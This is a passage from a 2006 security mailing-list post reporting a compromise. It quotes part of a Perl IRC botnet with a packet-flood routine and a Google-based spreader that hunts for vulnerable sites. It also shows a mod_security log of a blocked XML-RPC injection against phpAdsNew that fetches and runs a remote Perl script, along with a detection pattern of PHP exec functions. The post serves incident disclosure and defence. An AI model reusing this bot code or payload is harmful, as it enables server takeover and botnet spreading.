socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
}
}
last if $cur_time >= $ftime;
}
return($cur_time, %pacotes);
}
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
return unless $#_ == 1;
sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
return unless $#_ == 1;
sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
return unless $#_ == 1;
sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
return unless $#_ == 0;
sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
sendraw("PART $_[0]");
}
sub nick {
return unless $#_ == 0;
sendraw("NICK $_[0]");
}
sub quit {
sendraw("QUIT :$_[0]");
}
# Spreader
# this 'spreader' code isnot mine, i dont know who coded it.
# update: well, i just fix0red this shit a bit.
#
sub fetch(){
my $rnd=(int(rand(9999)));
my $n= 80;
if ($rnd<5000) { $n<<=1;}
my $s= (int(rand(10)) * $n);
my @dominios = ("com","net","org","info","gov", "gob","gub","xxx",
"eu","mil","edu","aero","name","us","ca","mx","pa","ni","cu","pr","ve","co","pe","ec",
"py","cl","uy","ar","br","bo","au","nz","cz","kr","jp","th","tw","ph","cn","fi","de","es","pt","ch","se","su","it","gr","al","dk","pl","biz","int","pro","museum","coop",
"af","ad","ao","ai","aq","ag","an","sa","dz","ar","am","aw","at","az","bs","bh","bd","bb","be","bz","bj","bm","bt","by","ba","bw","bn","bg","bf","bi",
"vc","kh","cm","td","cs","cy","km","cg","cd","dj","dm","ci","cr","hr","kp","eg","sv","aw","er","sk",
"ee","et","ge","fi","fr","ga","gs","gh","gi","gb","uk","gd","gl","gp","gu","gt","gg","gn","gw","gq","gy","gf","ht","nl","hn","hk","hu","in","id","ir",
"iq","ie","is","ac","bv","cx","im","nf","ky","cc","ck","fo","hm","fk","mp","mh","pw","um","sb","sj","tc","vg","vi","wf","il","jm","je","jo","kz","ke",
"ki","kg","kw","lv","ls","lb","ly","lr","li","lt","lu","mo","mk","mg","my","mw","mv","ml","mt","mq","ma","mr","mu","yt","md","mc","mn","ms","mz","mm",
"na","nr","np","ni","ne","ng","nu","no","nc","om","pk","ps","pg","pn","pf","qa","sy","cf","la","re","rw","ro","ru","eh","kn","ws","as","sm","pm","vc",
"sh","lc","va","st","sn","sc","sl","sg","so","lk","za","sd","se","sr","sz","rj","tz","io","tf","tp","tg","to","tt","tn","tr","tm","tv","ug","ua","uz",
"vu","vn","ye","yu","cd","zm","zw","");
my @str;
foreach $dom (@dominios)
{
push
(@str,"%22inurl%3Amodules.php%3Fname%3DSQuery%22+site%3A".$dom."%20");
}
my $query="www.google.com/search?q=";
$query.=$str[(rand(scalar(@str)))];
$query.="&num=$n&start=$s";
my @lst=();
my $page = http_query($query);
while ($page =~ m/<a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
if ($1 !~ m/google|cache|translate/){
push (@lst,$1);
}
}
return (@lst);
}
sub http_query($){
my ($url) = @_;
my $host=$url;
my $query=$url;
my $page="";
$host =~ s/href=\"?http:\/\///;
$host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
$query =~s/$host//;
if ($query eq "") {$query="/";};
eval {
local $SIG{ALRM} = sub { die "1";};
alarm 10;
my $sock =
IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept:
*/*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
my @r = <$sock>;
$page="@r";
alarm 0;
close($sock);
};
return $page;
}
-- cut --
It looks like it's connecting to an irc server specified in the configuration
section. I've installed mod_security on that machine to track this issue (I
thought that it's a mambo/joomla clone) and this is a log from modsecurity :
-- cut --
==820d6169==============================
Request: www.example.com 64.18.150.130 - - [17/Aug/2006:07:56:41 +0100] "POST
/banmanagerold/adxmlrpc.php HTTP/1.1" 403 428 "-" "Internet Explorer 6.0"
ROQTKVBXgIIAAHf6FiI "-"
----------------------------------------
POST /banmanagerold/adxmlrpc.php HTTP/1.1
Connection: TE, close
Content-Length: 557
Host: www.example.com
TE: deflate,gzip;q=0.3
User-Agent: Internet Explorer 6.0
mod_security-action: 403
mod_security-message: Access denied with code 403. Pattern match
"(chr|fwrite|fopen|system|echr|passthru|popen|proc_open|shell_exec|exec|proc_nice|proc_terminate|proc_get_status|proc_close|pfsockopen|leak|apache_child_terminate|posix_kill|posix_mkfifo|posix_setpgid|posix_setsid|posix_setuid|phpinfo)\\(.*\\)\\;"
at POST_PAYLOAD [id "300008"][rev "1"] [msg "Generic PHP exploit pattern
denied"] [severity "CRITICAL"]
557
<?xml
version="1.0"?><methodCall><methodName>foo.bar</methodName><params><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><string>1</string></value></param><param><value><name>',''));
system('unset HISTFILE;cd /tmp;GET http://62.193.236.112/top > top;perl top;mv
top sess_2e04828799532f31e651238bda569ca7; wget http://62.193.236.112/top;perl
top;mv top sess_2e04828799532f31e651238bda569ca3'); die;
/*</name></value></param></params></methodCall>
HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
--820d6169--
-- cut --
/banmanagerold/adxmlrpc.php - it's a part of the phpAdsNew (Banner management
software). Affected version that I found on my server is : phpAdsNew 2.0.4-pr2
Kind regards,
Marek Kroemeke
------------------------------------------------------------------------------
This List Sponsored by: Black Hat
Attend the Black Hat Briefings & Training USA, July 29-August 3 in Las Vegas.
World renowned security experts reveal tomorrow's threats today. Free of
vendor pitches, the Briefings are designed to be pragmatic regardless of your
security environment. Featuring 36 hands-on training courses and 10 conference
tracks, networking opportunities with over 2,500 delegates from 40+ nations.
http://www.blackhat.com
------------------------------------------------------------------------------
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | RE: Active Exploitation of a Vulnerability in Microsoft Windows, auto494388 |
|---|---|
| Next by Date: | New PowerPoint 0-day and Trojan - FAQ document available, Juha-Matti Laurio |
| Previous by Thread: | Active Exploitation of a Vulnerability in Microsoft Windows, modincidents |
| Next by Thread: | New PowerPoint 0-day and Trojan - FAQ document available, Juha-Matti Laurio |
| Indexes: | [Date] [Thread] [Top] [All Lists] |